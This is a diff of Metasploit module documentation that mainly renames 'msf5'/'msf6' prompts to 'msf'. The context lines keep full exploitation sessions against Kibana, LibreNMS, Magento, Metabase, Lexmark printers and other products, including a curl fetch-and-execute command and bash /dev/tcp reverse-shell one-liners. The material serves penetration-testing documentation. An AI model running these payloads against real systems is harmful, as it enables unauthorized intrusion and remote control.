exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > set rport 5601 rport => 5601 -msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > exploit +msf exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > exploit [*] Command to run on remote host: curl -so ./hzeCuLxAxx http://1.1.1.1:8080/Hg3DGEu9GqlWD06kh4AzFg; chmod +x ./hzeCuLxAxx; ./hzeCuLxAxx & [*] Fetch Handler listening on 1.1.1.1:8080 diff --git a/documentation/modules/exploit/linux/http/klog_server_authenticate_user_unauth_command_injection.md b/documentation/modules/exploit/linux/http/klog_server_authenticate_user_unauth_command_injection.md index 7c787d6ad6431..bae2222efeeca 100644 --- a/documentation/modules/exploit/linux/http/klog_server_authenticate_user_unauth_command_injection.md +++ b/documentation/modules/exploit/linux/http/klog_server_authenticate_user_unauth_command_injection.md @@ -99,17 +99,17 @@ Execute payload as root using `sudo` (Default: `true`) ### Klog Server version 2.4.1 ``` -msf6 > use exploit/linux/http/klog_server_authenticate_user_unauth_command_injection +msf > use exploit/linux/http/klog_server_authenticate_user_unauth_command_injection [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > set rhosts 10.1.1.123 +msf exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > set rhosts 10.1.1.123 rhosts => 10.1.1.123 -msf6 exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > check +msf exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > check [+] 10.1.1.123:443 - The target is vulnerable. Response received after 9 seconds. -msf6 exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > set target 0 +msf exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > set target 0 target => 0 -msf6 exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > set lhost 10.1.1.105 +msf exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > set lhost 10.1.1.105 lhost => 10.1.1.105 -msf6 exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > run +msf exploit(linux/http/klog_server_authenticate_user_unauth_command_injection) > run [*] Started reverse TCP handler on 10.1.1.105:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/http/lexmark_faxtrace_settings.md b/documentation/modules/exploit/linux/http/lexmark_faxtrace_settings.md index 50a16f89afbb8..982e3642bc2bc 100644 --- a/documentation/modules/exploit/linux/http/lexmark_faxtrace_settings.md +++ b/documentation/modules/exploit/linux/http/lexmark_faxtrace_settings.md @@ -103,13 +103,13 @@ to wake up. ### Lexmark Printer MC3224 CXLBL.073.023 ``` -msf6 > use linux/http/lexmark_faxtrace_settings +msf > use linux/http/lexmark_faxtrace_settings [*] Using configured payload cmd/unix/reverse_socat_tcp -msf6 exploit(linux/http/lexmark_faxtrace_settings) > set rhosts 192.168.1.71 +msf exploit(linux/http/lexmark_faxtrace_settings) > set rhosts 192.168.1.71 rhosts => 192.168.1.71 -msf6 exploit(linux/http/lexmark_faxtrace_settings) > set lhost 192.168.1.72 +msf exploit(linux/http/lexmark_faxtrace_settings) > set lhost 192.168.1.72 lhost => 192.168.1.72 -msf6 exploit(linux/http/lexmark_faxtrace_settings) > options +msf exploit(linux/http/lexmark_faxtrace_settings) > options Module options (exploit/linux/http/lexmark_faxtrace_settings): @@ -141,7 +141,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/lexmark_faxtrace_settings) > run +msf exploit(linux/http/lexmark_faxtrace_settings) > run [*] Started reverse TCP handler on 192.168.1.72:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/librenms_addhost_cmd_inject.md b/documentation/modules/exploit/linux/http/librenms_addhost_cmd_inject.md index d45dff16fd40c..0786077a96b59 100644 --- a/documentation/modules/exploit/linux/http/librenms_addhost_cmd_inject.md +++ b/documentation/modules/exploit/linux/http/librenms_addhost_cmd_inject.md @@ -31,16 +31,16 @@ ### Tested on LibreNMS 1.46 on Ubuntu 18.04 ``` - msf5 > use exploit/linux/http/librenms_addhost_cmd_inject - msf5 exploit(linux/http/librenms_addhost_cmd_inject) > set rhosts 192.168.37.143 + msf > use exploit/linux/http/librenms_addhost_cmd_inject + msf exploit(linux/http/librenms_addhost_cmd_inject) > set rhosts 192.168.37.143 rhosts => 192.168.37.143 - msf5 exploit(linux/http/librenms_addhost_cmd_inject) > set username blah + msf exploit(linux/http/librenms_addhost_cmd_inject) > set username blah username => blah - msf5 exploit(linux/http/librenms_addhost_cmd_inject) > set password password + msf exploit(linux/http/librenms_addhost_cmd_inject) > set password password password => password - msf5 exploit(linux/http/librenms_addhost_cmd_inject) > set lhost 192.168.37.1 + msf exploit(linux/http/librenms_addhost_cmd_inject) > set lhost 192.168.37.1 lhost => 192.168.37.1 - msf5 exploit(linux/http/librenms_addhost_cmd_inject) > run + msf exploit(linux/http/librenms_addhost_cmd_inject) > run [*] Started reverse TCP double handler on 192.168.37.1:4444 [*] Successfully logged into LibreNMS diff --git a/documentation/modules/exploit/linux/http/librenms_authenticated_rce_cve_2024_51092.md b/documentation/modules/exploit/linux/http/librenms_authenticated_rce_cve_2024_51092.md index d75f4dd3e072e..3587a927c660f 100644 --- a/documentation/modules/exploit/linux/http/librenms_authenticated_rce_cve_2024_51092.md +++ b/documentation/modules/exploit/linux/http/librenms_authenticated_rce_cve_2024_51092.md @@ -51,9 +51,9 @@ Wait time (seconds) for cron to poll the device. Default is `315`. ## Scenarios ``` -msf6 > use exploit/linux/http/librenms_authenticated_rce_cve_2024_51092 +msf > use exploit/linux/http/librenms_authenticated_rce_cve_2024_51092 [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/librenms_authenticated_rce_cve_2024_51092) > options +msf exploit(linux/http/librenms_authenticated_rce_cve_2024_51092) > options Module options (exploit/linux/http/librenms_authenticated_rce_cve_2024_51092): @@ -95,7 +95,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/librenms_authenticated_rce_cve_2024_51092) > run lhost=192.168.56.1 rhost=192.168.56.17 username=librenms password=librenms +msf exploit(linux/http/librenms_authenticated_rce_cve_2024_51092) > run lhost=192.168.56.1 rhost=192.168.56.17 username=librenms password=librenms [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Successfully logged into LibreNMS. diff --git a/documentation/modules/exploit/linux/http/librenms_collectd_cmd_inject.md b/documentation/modules/exploit/linux/http/librenms_collectd_cmd_inject.md index 31336893f7d3f..f97070c1d370e 100644 --- a/documentation/modules/exploit/linux/http/librenms_collectd_cmd_inject.md +++ b/documentation/modules/exploit/linux/http/librenms_collectd_cmd_inject.md @@ -90,20 +90,20 @@ ### Tested on LibreNMS `v1.46` ``` - msf5 > use exploit/linux/http/librenms_collectd_cmd_inject - msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set rhosts 192.168.37.133 + msf > use exploit/linux/http/librenms_collectd_cmd_inject + msf exploit(linux/http/librenms_collectd_cmd_inject) > set rhosts 192.168.37.133 rhosts => 192.168.37.133 - msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set username blah + msf exploit(linux/http/librenms_collectd_cmd_inject) > set username blah username => blah - msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set password password + msf exploit(linux/http/librenms_collectd_cmd_inject) > set password password password => password - msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set payload cmd/unix/reverse + msf exploit(linux/http/librenms_collectd_cmd_inject) > set payload cmd/unix/reverse payload => cmd/unix/reverse - msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set lhost 192.168.37.1 + msf exploit(linux/http/librenms_collectd_cmd_inject) > set lhost 192.168.37.1 lhost => 192.168.37.1 - msf5 exploit(linux/http/librenms_collectd_cmd_inject) > check + msf exploit(linux/http/librenms_collectd_cmd_inject) > check [*] 192.168.37.133:80 - The target service is running, but could not be validated. - msf5 exploit(linux/http/librenms_collectd_cmd_inject) > run + msf exploit(linux/http/librenms_collectd_cmd_inject) > run [*] Started reverse TCP double handler on 192.168.37.1:4444 [*] Successfully logged into LibreNMS. Storing credentials... diff --git a/documentation/modules/exploit/linux/http/linear_emerge_unauth_rce_cve_2019_7256.md b/documentation/modules/exploit/linux/http/linear_emerge_unauth_rce_cve_2019_7256.md index 52d240a103dde..cd9ca2edba796 100644 --- a/documentation/modules/exploit/linux/http/linear_emerge_unauth_rce_cve_2019_7256.md +++ b/documentation/modules/exploit/linux/http/linear_emerge_unauth_rce_cve_2019_7256.md @@ -41,9 +41,9 @@ the default root password for Linear eMerge E3-Series devices. ### Nortek Linear eMerge E3 Elite access controller bash reverse shell ``` -msf6 > use exploit/linux/http/linear_emerge_unauth_rce_cve_2019_7256 +msf > use exploit/linux/http/linear_emerge_unauth_rce_cve_2019_7256 [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > options +msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > options Module options (exploit/linux/http/linear_emerge_unauth_rce_cve_2019_7256): @@ -78,15 +78,15 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set rhosts 192.168.100.180 +msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set rhosts 192.168.100.180 rhosts => 192.168.100.180 -msf6 exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set lhost 192.168.100.7 +msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set lhost 192.168.100.7 lhost => 192.168.100.7 -msf6 exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set lport 4444 +msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set lport 4444 lport => 4444 -msf6 exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set target 0 +msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set target 0 target => 0 -msf6 exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > exploit +msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > exploit [*] Started reverse TCP handler on 192.168.100.7:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -107,9 +107,9 @@ exit ### Nortek Linear eMerge E3 Elite access controller meterpreter session ``` -msf6 > use exploit/linux/http/linear_emerge_unauth_rce_cve_2019_7256 +msf > use exploit/linux/http/linear_emerge_unauth_rce_cve_2019_7256 [*] Using configured payload linux/armle/meterpreter_reverse_tcp -msf6 exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > options +msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > options Module options (exploit/linux/http/linear_emerge_unauth_rce_cve_2019_7256): @@ -144,15 +144,15 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set rhosts 192.168.100.180 +msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set rhosts 192.168.100.180 rhosts => 192.168.100.180 -msf6 exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set lhost 192.168.100.7 +msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set lhost 192.168.100.7 lhost => 192.168.100.7 -msf6 exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set lport 4444 +msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set lport 4444 lport => 4444 -msf6 exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set target 1 +msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > set target 1 target => 1 -msf6 exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > exploit +msf exploit(linux/http/linear_emerge_unauth_rce_cve_2019_7256) > exploit [*] Started reverse TCP handler on 192.168.100.7:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/linuxki_rce.md b/documentation/modules/exploit/linux/http/linuxki_rce.md index 01e7bd983b42c..fc8f5295e045a 100644 --- a/documentation/modules/exploit/linux/http/linuxki_rce.md +++ b/documentation/modules/exploit/linux/http/linuxki_rce.md @@ -31,8 +31,8 @@ Override check result. ## Scenarios ### LinuxKI Toolset v6.01 on CentOS 7.8 ``` -msf5 > use exploit/linux/http/linuxki_rce -msf5 exploit(linux/http/linuxki_rce) > show targets +msf > use exploit/linux/http/linuxki_rce +msf exploit(linux/http/linuxki_rce) > show targets Exploit targets: @@ -44,11 +44,11 @@ Exploit targets: 3 Automatic (Linux Dropper) -msf5 exploit(linux/http/linuxki_rce) > set rhosts 192.168.1.43 +msf exploit(linux/http/linuxki_rce) > set rhosts 192.168.1.43 rhosts => 192.168.1.43 -msf5 exploit(linux/http/linuxki_rce) > set rport 32769 +msf exploit(linux/http/linuxki_rce) > set rport 32769 rport => 32769 -msf5 exploit(linux/http/linuxki_rce) > run +msf exploit(linux/http/linuxki_rce) > run [*] Started reverse TCP handler on 192.168.1.43:4444 [*] Executing Automatic (PHP In-Memory) target @@ -64,11 +64,11 @@ meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.1.43 - Meterpreter session 1 closed. Reason: User exit -msf5 exploit(linux/http/linuxki_rce) > set target 1 +msf exploit(linux/http/linuxki_rce) > set target 1 target => 1 -msf5 exploit(linux/http/linuxki_rce) > unset payload +msf exploit(linux/http/linuxki_rce) > unset payload Unsetting payload... -msf5 exploit(linux/http/linuxki_rce) > run +msf exploit(linux/http/linuxki_rce) > run [*] Started reverse TCP handler on 192.168.1.43:4444 [*] Executing Automatic (PHP Dropper) target @@ -85,11 +85,11 @@ meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.1.43 - Meterpreter session 2 closed. Reason: User exit -msf5 exploit(linux/http/linuxki_rce) > set target 2 +msf exploit(linux/http/linuxki_rce) > set target 2 target => 2 -msf5 exploit(linux/http/linuxki_rce) > set payload cmd/unix/reverse_bash +msf exploit(linux/http/linuxki_rce) > set payload cmd/unix/reverse_bash payload => cmd/unix/reverse_bash -msf5 exploit(linux/http/linuxki_rce) > run +msf exploit(linux/http/linuxki_rce) > run [*] Started reverse TCP handler on 192.168.1.43:4444 [*] Executing Automatic (Unix In-Memory) target @@ -100,11 +100,11 @@ uname -a Linux 36503ef4f463 4.19.76-linuxkit #1 SMP Fri Apr 3 15:53:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux exit [*] 192.168.1.43 - Command shell session 3 closed. -msf5 exploit(linux/http/linuxki_rce) > set target 3 +msf exploit(linux/http/linuxki_rce) > set target 3 target => 3 -msf5 exploit(linux/http/linuxki_rce) > unset payload +msf exploit(linux/http/linuxki_rce) > unset payload Unsetting payload... -msf5 exploit(linux/http/linuxki_rce) > run +msf exploit(linux/http/linuxki_rce) > run [*] Started reverse TCP handler on 192.168.1.43:4444 [*] Executing Automatic (Linux Dropper) target @@ -123,5 +123,5 @@ meterpreter > exit [*] Shutting down Meterpreter... [*] 172.17.0.2 - Meterpreter session 4 closed. Reason: User exit -msf5 exploit(linux/http/linuxki_rce) > +msf exploit(linux/http/linuxki_rce) > ``` diff --git a/documentation/modules/exploit/linux/http/lucee_admin_imgprocess_file_write.md b/documentation/modules/exploit/linux/http/lucee_admin_imgprocess_file_write.md index 246d0679b85c4..e98c425729093 100644 --- a/documentation/modules/exploit/linux/http/lucee_admin_imgprocess_file_write.md +++ b/documentation/modules/exploit/linux/http/lucee_admin_imgprocess_file_write.md @@ -22,9 +22,9 @@ Follow [Setup](#setup) and [Scenarios](#scenarios). ### Lucee 5.3.7.43 in [Docker] ``` -msf6 > use exploit/linux/http/lucee_admin_imgprocess_file_write +msf > use exploit/linux/http/lucee_admin_imgprocess_file_write [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/http/lucee_admin_imgprocess_file_write) > options +msf exploit(linux/http/lucee_admin_imgprocess_file_write) > options Module options (exploit/linux/http/lucee_admin_imgprocess_file_write): @@ -57,11 +57,11 @@ Exploit target: 0 Unix Command -msf6 exploit(linux/http/lucee_admin_imgprocess_file_write) > set rhosts 127.0.0.1 +msf exploit(linux/http/lucee_admin_imgprocess_file_write) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(linux/http/lucee_admin_imgprocess_file_write) > set lhost 172.16.57.1 +msf exploit(linux/http/lucee_admin_imgprocess_file_write) > set lhost 172.16.57.1 lhost => 172.16.57.1 -msf6 exploit(linux/http/lucee_admin_imgprocess_file_write) > run +msf exploit(linux/http/lucee_admin_imgprocess_file_write) > run [*] Started reverse TCP handler on 172.16.57.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/magento_xxe_to_glibc_buf_overflow.md b/documentation/modules/exploit/linux/http/magento_xxe_to_glibc_buf_overflow.md index 0782b1feb4f88..d79d61f2a79ee 100644 --- a/documentation/modules/exploit/linux/http/magento_xxe_to_glibc_buf_overflow.md +++ b/documentation/modules/exploit/linux/http/magento_xxe_to_glibc_buf_overflow.md @@ -103,7 +103,7 @@ exploits the Arbitrary File Read vulnerability CVE-2024-34102. ## Scenarios ### Magento/2.4 (Community) running PHP 8.2.17, GLIBC 2.36-9+deb12u4 ``` -msf6 > use magento_xxe_to_glibc_buf_overflow +msf > use magento_xxe_to_glibc_buf_overflow Matching Modules ================ @@ -117,16 +117,16 @@ Interact with a module by name or index. For example info 0, use 0 or use exploi [*] Using exploit/linux/http/magento_xxe_to_glibc_buf_overflow [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > set srvhost 172.16.199.130 +msf exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > set srvhost 172.16.199.130 srvhost => 172.16.199.130 -msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > set fetch_srvhost 172.16.199.130 +msf exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > set fetch_srvhost 172.16.199.130 fetch_srvhost => 172.16.199.130 -msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > set rhost localhost +msf exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > set rhost localhost rhost => localhost -msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > run +msf exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > run [*] Exploit running as background job 57. -msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > [*] Started reverse TCP handler on 172.16.199.130:4444 +msf exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > [*] Started reverse TCP handler on 172.16.199.130:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Using URL: http://172.16.199.130:8080/ [*] Server started @@ -142,7 +142,7 @@ msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > [*] Started reverse Interrupt: use the 'exit' command to quit [*] Server stopped. -msf6 exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > sessions -i -1 +msf exploit(linux/http/magento_xxe_to_glibc_buf_overflow) > sessions -i -1 [*] Starting interaction with 6... meterpreter > getuid diff --git a/documentation/modules/exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258.md b/documentation/modules/exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258.md index b67604d1b9467..cac4f9509e237 100644 --- a/documentation/modules/exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258.md +++ b/documentation/modules/exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258.md @@ -57,7 +57,7 @@ if (isset($_GET['democ'])) { you should get a `shell` or `Meterpreter` session. ```shell -msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > info +msf exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > info Name: MagnusBilling application unauthenticated Remote Command Execution. Module: exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258 @@ -158,9 +158,9 @@ to bypass any security settings on the Web and PHP server. ## Scenarios ### MagnusBilling 7 on Debian 12.2 - PHP with payload php/meterpreter/reverse_tcp ```shell -msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set rhosts 192.168.201.34 +msf exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set rhosts 192.168.201.34 rhosts => 192.168.201.34 -msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit +msf exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -183,9 +183,9 @@ meterpreter > ``` ### MagnusBilling 7 on Debian 12.2 - Unix Command with payload cmd/unix/reverse_bash ```shell -msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set target 1 +msf exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set target 1 target => 1 -msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit +msf exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -205,9 +205,9 @@ pwd ``` ### MagnusBilling 7 on Debian 12.2 - Linux Dropper with payload linux/x64/meterpreter/reverse_tcp ```shell -msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set target 2 +msf exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > set target 2 target => 2 -msf6 exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit +msf exploit(linux/http/magnusbilling_unauth_rce_cve_2023_30258) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/mailcleaner_exec.md b/documentation/modules/exploit/linux/http/mailcleaner_exec.md index 7c7859521c59b..ea6311c9aeef9 100644 --- a/documentation/modules/exploit/linux/http/mailcleaner_exec.md +++ b/documentation/modules/exploit/linux/http/mailcleaner_exec.md @@ -25,16 +25,16 @@ A successful check of the exploit will look like this: ## Scenarios ``` -msf5 > use exploit/linux/http/mailcleaner_exec -msf5 exploit(linux/http/mailcleaner_exec) > set RHOSTS 12.0.0.100 +msf > use exploit/linux/http/mailcleaner_exec +msf exploit(linux/http/mailcleaner_exec) > set RHOSTS 12.0.0.100 RHOSTS => 12.0.0.100 -msf5 exploit(linux/http/mailcleaner_exec) > set LHOST 12.0.0.1 +msf exploit(linux/http/mailcleaner_exec) > set LHOST 12.0.0.1 LHOST => 12.0.0.1 -msf5 exploit(linux/http/mailcleaner_exec) > set USERNAME admin +msf exploit(linux/http/mailcleaner_exec) > set USERNAME admin USERNAME => admin -msf5 exploit(linux/http/mailcleaner_exec) > set PASSWORD +msf exploit(linux/http/mailcleaner_exec) > set PASSWORD PASSWORD => qwe123 -msf5 exploit(linux/http/mailcleaner_exec) > run +msf exploit(linux/http/mailcleaner_exec) > run [*] Started reverse TCP handler on 12.0.0.1:4444 [*] Performing authentication... @@ -51,18 +51,18 @@ meterpreter > You can also use cmd payloads. ``` -msf5 > use exploit/linux/http/mailcleaner_exec -msf5 exploit(linux/http/mailcleaner_exec) > set RHOSTS 12.0.0.100 +msf > use exploit/linux/http/mailcleaner_exec +msf exploit(linux/http/mailcleaner_exec) > set RHOSTS 12.0.0.100 RHOSTS => 12.0.0.100 -msf5 exploit(linux/http/mailcleaner_exec) > set LHOST 12.0.0.1 +msf exploit(linux/http/mailcleaner_exec) > set LHOST 12.0.0.1 LHOST => 12.0.0.1 -msf5 exploit(linux/http/mailcleaner_exec) > set USERNAME admin +msf exploit(linux/http/mailcleaner_exec) > set USERNAME admin USERNAME => admin -msf5 exploit(linux/http/mailcleaner_exec) > set PASSWORD -msf5 exploit(linux/http/mailcleaner_exec) > set target 1 -msf5 exploit(linux/http/mailcleaner_exec) > set payload cmd/unix/reverse +msf exploit(linux/http/mailcleaner_exec) > set PASSWORD +msf exploit(linux/http/mailcleaner_exec) > set target 1 +msf exploit(linux/http/mailcleaner_exec) > set payload cmd/unix/reverse payload => cmd/unix/reverse -msf5 exploit(linux/http/mailcleaner_exec) > run +msf exploit(linux/http/mailcleaner_exec) > run [*] Started reverse TCP double handler on 12.0.0.1:4444 [*] Performing authentication... diff --git a/documentation/modules/exploit/linux/http/majordomo_cmd_inject_cve_2023_50917.md b/documentation/modules/exploit/linux/http/majordomo_cmd_inject_cve_2023_50917.md index c293a61e32e2c..6f699348d9741 100644 --- a/documentation/modules/exploit/linux/http/majordomo_cmd_inject_cve_2023_50917.md +++ b/documentation/modules/exploit/linux/http/majordomo_cmd_inject_cve_2023_50917.md @@ -40,7 +40,7 @@ This scenario demonstrates exploiting MajorDoMo on a Linux server. **Expected Output**: ``` -msf6 > search cve_2023_50917 +msf > search cve_2023_50917 Matching Modules ================ @@ -52,9 +52,9 @@ Matching Modules Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/majordomo_cmd_inject_cve_2023_50917 -msf6 > use 0 +msf > use 0 [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > options +msf exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > options Module options (exploit/linux/http/majordomo_cmd_inject_cve_2023_50917): Name Current Setting Required Description @@ -111,9 +111,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > set rhosts 192.168.1.18 +msf exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > set rhosts 192.168.1.18 rhosts => 192.168.1.18 -msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > exploit +msf exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > exploit [*] Started reverse TCP handler on 192.168.1.5:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.1.18:80 can be exploited! diff --git a/documentation/modules/exploit/linux/http/metabase_setup_token_rce.md b/documentation/modules/exploit/linux/http/metabase_setup_token_rce.md index cf501041a2038..61c895c8cf3f9 100644 --- a/documentation/modules/exploit/linux/http/metabase_setup_token_rce.md +++ b/documentation/modules/exploit/linux/http/metabase_setup_token_rce.md @@ -35,7 +35,7 @@ docker run --rm -p 3000:3000 --name metabase metabase/metabase:v0.42.1 ### Metabase 0.42.1 on Docker ``` -msf6 exploit(linux/http/metabase_setup_token_rce) > run rhost=192.168.123.1 lhost=192.168.123.1 rport=3000 +msf exploit(linux/http/metabase_setup_token_rce) > run rhost=192.168.123.1 lhost=192.168.123.1 rport=3000 [*] Reloading module... [+] bash -c '0<&30-;exec 30<>/dev/tcp/192.168.123.1/4444;sh <&30 >&30 2>&30' @@ -53,15 +53,15 @@ metabase ### Metabase 0.46.6 on Docker ``` -msf6 > use exploit/linux/http/metabase_setup_token_rce +msf > use exploit/linux/http/metabase_setup_token_rce [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/http/metabase_setup_token_rce) > set rhosts 127.0.0.1 +msf exploit(linux/http/metabase_setup_token_rce) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(linux/http/metabase_setup_token_rce) > set lhost 111.111.11.111 +msf exploit(linux/http/metabase_setup_token_rce) > set lhost 111.111.11.111 lhost => 111.111.11.111 -msf6 exploit(linux/http/metabase_setup_token_rce) > set verbose true +msf exploit(linux/http/metabase_setup_token_rce) > set verbose true verbose => true -msf6 exploit(linux/http/metabase_setup_token_rce) > exploit +msf exploit(linux/http/metabase_setup_token_rce) > exploit [+] bash -c '0<&46-;exec 46<>/dev/tcp/111.111.11.111/4444;sh <&46 >&46 2>&46' [*] Started reverse TCP handler on 111.111.11.111:4444 diff --git a/documentation/modules/exploit/linux/http/microfocus_obr_cmd_injection.md b/documentation/modules/exploit/linux/http/microfocus_obr_cmd_injection.md index 12cc656810d87..7f190b37580ab 100644 --- a/documentation/modules/exploit/linux/http/microfocus_obr_cmd_injection.md +++ b/documentation/modules/exploit/linux/http/microfocus_obr_cmd_injection.md @@ -30,14 +30,14 @@ All details about this vulnerability can be obtained from the advisory: ## Scenarios ``` -msf6 > use exploit/linux/http/microfocus_obr_cmd_injection -msf6 exploit(linux/http/microfocus_obr_cmd_injection) > set payload payload/cmd/unix/reverse_netcat +msf > use exploit/linux/http/microfocus_obr_cmd_injection +msf exploit(linux/http/microfocus_obr_cmd_injection) > set payload payload/cmd/unix/reverse_netcat payload => cmd/unix/reverse_netcat -msf6 exploit(linux/http/microfocus_obr_cmd_injection) > set rhost 10.0.0.10 +msf exploit(linux/http/microfocus_obr_cmd_injection) > set rhost 10.0.0.10 rhost => 10.0.0.10 -msf6 exploit(linux/http/microfocus_obr_cmd_injection) > set lhost 10.0.0.1 +msf exploit(linux/http/microfocus_obr_cmd_injection) > set lhost 10.0.0.1 lhost => 10.0.0.1 -msf6 exploit(linux/http/microfocus_obr_cmd_injection) > run +msf exploit(linux/http/microfocus_obr_cmd_injection) > run [*] Started reverse TCP handler on 10.0.0.1:4444 [*] 10.0.0.10:21412 - Payload sent, now wait for Shelly, if she doesn't arrive try again! diff --git a/documentation/modules/exploit/linux/http/microfocus_secure_messaging_gateway.md b/documentation/modules/exploit/linux/http/microfocus_secure_messaging_gateway.md index e5b3ae313125c..8d98e8603e0b8 100644 --- a/documentation/modules/exploit/linux/http/microfocus_secure_messaging_gateway.md +++ b/documentation/modules/exploit/linux/http/microfocus_secure_messaging_gateway.md @@ -90,12 +90,12 @@ A successful check of the exploit will look like this: ## Scenarios ``` -msf5 > use exploit/linux/http/microfocus_secure_messaging_gateway -msf5 exploit(linux/http/microfocus_secure_messaging_gateway) > set 